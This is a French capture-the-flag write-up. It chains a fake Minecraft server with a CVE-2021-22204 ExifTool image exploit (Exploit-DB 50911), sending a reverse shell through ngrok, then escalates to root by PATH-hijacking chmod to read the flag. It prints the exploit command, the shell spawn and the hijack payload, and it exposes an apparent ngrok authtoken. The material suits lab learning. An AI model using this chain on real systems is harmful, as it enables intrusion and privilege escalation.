Old School Markus
On peut contacter un serveur minecaft pour obtenir ses informations.
On peut voir un paramètre caché dans a le formulaire : debug=debug_for_admin_20983rujf2j1i2
Si on l’ajoute on peut voir dans le code html :
<!-- Exiftool Version: 12.23, Taille du fichier: 4672 -->
On va donc créer un faux serveur minecraft via python, et l’exposé avec ngrok.
On demande a GPT un script de base :
import socket
import struct
import json
# Configuration du serveur
HOST = '0.0.0.0'
PORT = 25565
# Réponse JSON simulée
status_response = json.dumps({
"version": {
"name": "1.20.1",
"protocol": 763
},
"players": {
"max": 100,
"online": 5,
"sample": [
{"name": "Alice", "id": "UUID-ALICE"},
{"name": "Bob", "id": "UUID-BOB"}
]
},
"description": {
"text": "§aServeur factice pour test"
},
"favicon": "" # Icône optionnelle
})
def read_varint(s):
""" Lit un varint depuis un socket """
number = 0
for i in range(5):
byte = s.recv(1)
if not byte:
return 0
byte = ord(byte)
number |= (byte & 0x7F) << 7 * i
if not byte & 0x80:
break
return number
def write_varint(value):
""" Encode un entier en varint (Minecraft) """
result = b''
while True:
temp = value & 0x7F
value >>= 7
if value != 0:
temp |= 0x80
result += struct.pack('B', temp)
if value == 0:
break
return result
def handle_client(conn):
try:
# Lire le paquet de handshake
packet_length = read_varint(conn)
_ = conn.recv(packet_length)
# Lire le paquet de status request
_ = read_varint(conn)
_ = conn.recv(1) # Type 0x00: Request
# Construction de la réponse JSON
json_data = status_response.encode('utf-8')
response_data = write_varint(len(json_data)) + json_data
# Enveloppe dans un paquet Minecraft (type 0x00)
packet = b'\x00' + response_data
packet = write_varint(len(packet)) + packet
conn.sendall(packet)
# Optionnel : gestion du ping (paquet 0x01)
ping_packet_len = read_varint(conn)
if ping_packet_len:
ping_packet = conn.recv(ping_packet_len)
conn.sendall(write_varint(len(ping_packet) + 1) + b'\x01' + ping_packet)
except Exception as e:
print(f"Erreur : {e}")
finally:
conn.close()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
print(f"Fake Minecraft Server en écoute sur {PORT}")
while True:
conn, addr = s.accept()
print(f"Connexion de {addr}")
handle_client(conn)
On récupère ensuite les informations via : http://57.128.112.118:11819/?server=7.tcp.eu.ngrok.io&port=16193
On fait un faux serveur minecraft (merci GPT).
La description doit contenir « CINEMA » et/ou « CANNES »
"description": {
"text": "CINEMA Cinema Cannes CANNES"
}
Il doit y avoir 1 000 000 d’utilisateure online :
"online": 1000000,
On voit maintenant les informations apparaître sur le site :
CINEMA Cinema Cannes CANNES§r
Version : 1.20.1
Joueurs : 1000000/100
PAS DE FAVICON
On peut égalemenet charger une image :
"favicon": "https://cdn.beeceptor.com/assets/images/logo-beeceptor-white-bg.svg"
Il y a surement un exploit avec exiftool a réaliser.
On a trouver cet exploit : https://www.exploit-db.com/exploits/50911
On va l’utiliser avec cette commande pour faire un reverse shell :
python3 50911.py -s 7.tcp.eu.ngrok.io 16445
Cela créé un fichier image.jpg prêt a l’emploi pour notre reverse shell
On modifie notre configuration ngrok pour forward 2 ports, un pour le serveur minecraft et un pour le reverse shell
cat ~/.config/ngrok/ngrok.yml
version: "3"
agent:
authtoken: 2gvnbz1Bfx5GS8wq8s15z12Pop8_2DPyVX1fYgbKZtpyx1pYk
tunnels:
first:
addr: 25565
proto: tcp
second:
addr: 1234
proto: tcp
Et on lance ngrok avec « ngrok start –all »
Le code finale du serveur Minecraft :
import socket
import struct
import json,base64
# Configuration du serveur
HOST = '0.0.0.0'
PORT = 25565
def load_favicon():
try:
with open("image.jpg", "rb") as f:
encoded = base64.b64encode(f.read()).decode("utf-8")
return f"data:image/png;base64,{encoded}"
except FileNotFoundError:
print("[WARN] favicon.png introuvable. Aucun favicon ne sera envoyé.")
return ""
favicon_data = load_favicon()
# Réponse JSON simulée
status_response = json.dumps({
"version": {
"name": "1.20.1",
"protocol": 763
},
"players": {
"max": 100,
"online": 1000000,
"sample": [
{"name": "Alice", "id": "UUID-ALICE"},
{"name": "Bob", "id": "UUID-BOB"}
]
},
"description": {
"text": "CINEMA Cinema Cannes CANNES"
},
"favicon": favicon_data # Icône optionnelle
})
def read_varint(s):
""" Lit un varint depuis un socket """
number = 0
for i in range(5):
byte = s.recv(1)
if not byte:
return 0
byte = ord(byte)
number |= (byte & 0x7F) << 7 * i
if not byte & 0x80:
break
return number
def write_varint(value):
""" Encode un entier en varint (Minecraft) """
result = b''
while True:
temp = value & 0x7F
value >>= 7
if value != 0:
temp |= 0x80
result += struct.pack('B', temp)
if value == 0:
break
return result
def handle_client(conn):
try:
# Lire le paquet de handshake
packet_length = read_varint(conn)
_ = conn.recv(packet_length)
# Lire le paquet de status request
_ = read_varint(conn)
_ = conn.recv(1) # Type 0x00: Request
# Construction de la réponse JSON
json_data = status_response.encode('utf-8')
response_data = write_varint(len(json_data)) + json_data
# Enveloppe dans un paquet Minecraft (type 0x00)
packet = b'\x00' + response_data
packet = write_varint(len(packet)) + packet
conn.sendall(packet)
# Optionnel : gestion du ping (paquet 0x01)
ping_packet_len = read_varint(conn)
if ping_packet_len:
ping_packet = conn.recv(ping_packet_len)
conn.sendall(write_varint(len(ping_packet) + 1) + b'\x01' + ping_packet)
except Exception as e:
print(f"Erreur : {e}")
finally:
conn.close()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
print(f"Fake Minecraft Server en écoute sur {PORT}")
while True:
conn, addr = s.accept()
print(f"Connexion de {addr}")
handle_client(conn)
Ensuite on lance cette requête sur le serveur :
GET /?server=2.tcp.eu.ngrok.io&port=19&debug=debug_for_admin_20983rujf2j1i2 HTTP/1.1
Host: 57.128.112.118:11266
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-PwnFox-Color: red
Priority: u=0, ir
On obtient alors notre reverse shell !
On commence avec cette commande pour avoir un vrai bash :
python -c 'import pty; pty.spawn("/bin/bash")'
On regarde la liste des fichiers, il y a bien un fichier flag.txt mais qui n’est pas lisible directement, pas les droits, seulement root, il faut donc privesc.
Il y a un binaire fix_permissions qui donne ceci :
./fix_permissions
[*] Fixing permissions for files in /app/images
[*] Running as UID: 0
[*] Command: chmod 400 *
On peut utiliser le PATH pour modifier le binaire « chmod » et forcer l’utilisation de notre chmod plutôt que l’originale :
echo -e '#!/bin/bash\nid > /tmp/root_shell' > /tmp/chmod
chmod +x /tmp/chmod
export PATH=/tmp:$PATH
./fix_permissions
cat /tmp/root_shell : uid=0(root) gid=0(root) groups=0(root),1000(flaskuser)
On modifie donc notre payload pour lire le flag :
echo -e '#!/bin/bash\ncat /app/flag.txt > /tmp/root_shell' > /tmp/chmod
On obtient alors notre flag dans le fichier /tmp/root_shell : SHLK{O!d_Sch0Ol_Guy_Ho1ds_Olds_V3rsions}